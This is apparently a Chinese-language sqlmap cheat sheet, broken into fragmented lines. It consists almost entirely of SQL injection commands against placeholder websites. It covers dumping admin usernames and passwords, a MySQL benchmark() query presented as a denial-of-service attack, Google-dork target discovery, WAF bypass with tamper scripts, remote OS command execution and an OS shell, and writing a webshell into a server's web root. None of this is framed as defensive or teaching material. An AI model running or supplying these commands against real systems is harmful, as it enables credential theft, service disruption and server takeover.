一、SQLMAP用於Access數據庫注入
python sqlmap.py
-
u
"http://www.xxx.com/en/CompHonorBig.asp?id=7"
python sqlmap.py
-
u
"http://www.xxx.com/en/CompHonorBig.asp?id=7"
--tables
python sqlmap.py
-
u
"http://www.xxx.com/en/CompHonorBig.asp?id=7"
--columns -T admin
python sqlmap.py
-
u
"http://www.xxx.com/en/CompHonorBig.asp?id=7"
--dump -T admin -C "username,password"
二、SQLMAP用於Cookie注入
python sqlmap.py
-
u
"http://www.xxx.org/jsj/shownews.asp"
--cookie "id=31" --table --level 2
python sqlmap.py
-
u
"http://www.xxx.org/jsj/shownews.asp"
--cookie "id=31" --columns -T
python sqlmap.py
-
u
"http://www.xxx.org/jsj/shownews.asp"
--cookie "id=31" --dump -T
三、SQLMAP用於mysql中DDOS攻擊
python sqlmap.py
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--sql-shell
select
benchmark
(
99999999999
,
0
x
70726
f
62616
e
646
f
70726
f
62616
e
646
f
70726
f
62616
e
646
f
)
四、SQLMAP用於mysql注入
python sqlmap.py
-
u
"http://www.xxx.com/link.php?id=321"
--dbs
python sqlmap.py
-
u
"http://www.xxx.com/link.php?id=321"
-
D dataname
--tables
python sqlmap.py
-
u
"http://www.xxx.com/link.php?id=321"
-
D dataname
-
T table_name
--columns
python sqlmap.py
-
u
"http://www.xxx.com/link.php?id=321"
-
D dataname
-
T table_name
-
C
"id,user,password"
--dump
五、SQLMAP中post登陸框注入
1. 瀏覽器打開目標地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請求
3. 點擊login表單的submit按鈕
4. 這時候Burp會攔截到了我們的登錄POST請求
5. 把這個post請求復制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下
6. 運行sqlmap並使用如下命令:
.
/
sqlmap.py
-
r search
-
test.txt
-
p tfUPass
sqlmap
-
u [
url
]http
:
/
/
testasp.vulnweb.com
/
Login.asp[
/
url
]
--forms
sqlmap
-
u [
url
]http
:
/
/
testasp.vulnweb.com
/
Login.asp[
/
url
]
--data "tfUName=321&tfUPass=321"
六、SQLMAP中Google搜索注入
sqlmap
-
g inurl
:
php?
id
=
七、SQLMAP中的請求延遲
python sqlmap.py
--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py
--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
八、SQLMAP繞過WAF防火牆
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
-
v
3
--dbs --batch --tamper "space2morehash.py"
space2morehash.py中可以替換space2hash.py或者base64encode.py或者charencode.py
都是編碼方式
space2hash.py base64encode.py charencode.py
九、SQLMAP查看權限
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--privileges
十、SQLMAP偽靜態注入(1) 查找數據庫
python sqlmap.py
-
u
"http://xxx.cn/index.php/Index/view/id/40.html"
--dbs
python sqlmap.py
-
u
"http://xxx.cn/index.php/Index/view/id/40.html"
-
D dataname
--tables
python sqlmap.py
-
u
"http://xxx.cn/index.php/Index/view/id/40.html"
-
D dataname
-
T
tablename
--columns
python sqlmap.py
-
u
"http://xxx.cn/index.php/Index/view/id/40.html"
-
D dataname
-
T
tablename
-
C
"password"
--dump
十一、SQLMAP注入點執行命令與交互寫shell
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--os-cmd=ipconfig
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--os-shell
–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)
–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑
sqlmap
-
r “c
:
\request.txt”
-
p
id
–dbms mysql –
file
-
dest “e
:
\php\htdocs\dvwa\inc\include\
1.
php” –
file
-
write
“f
:
\webshell\
1112.
php”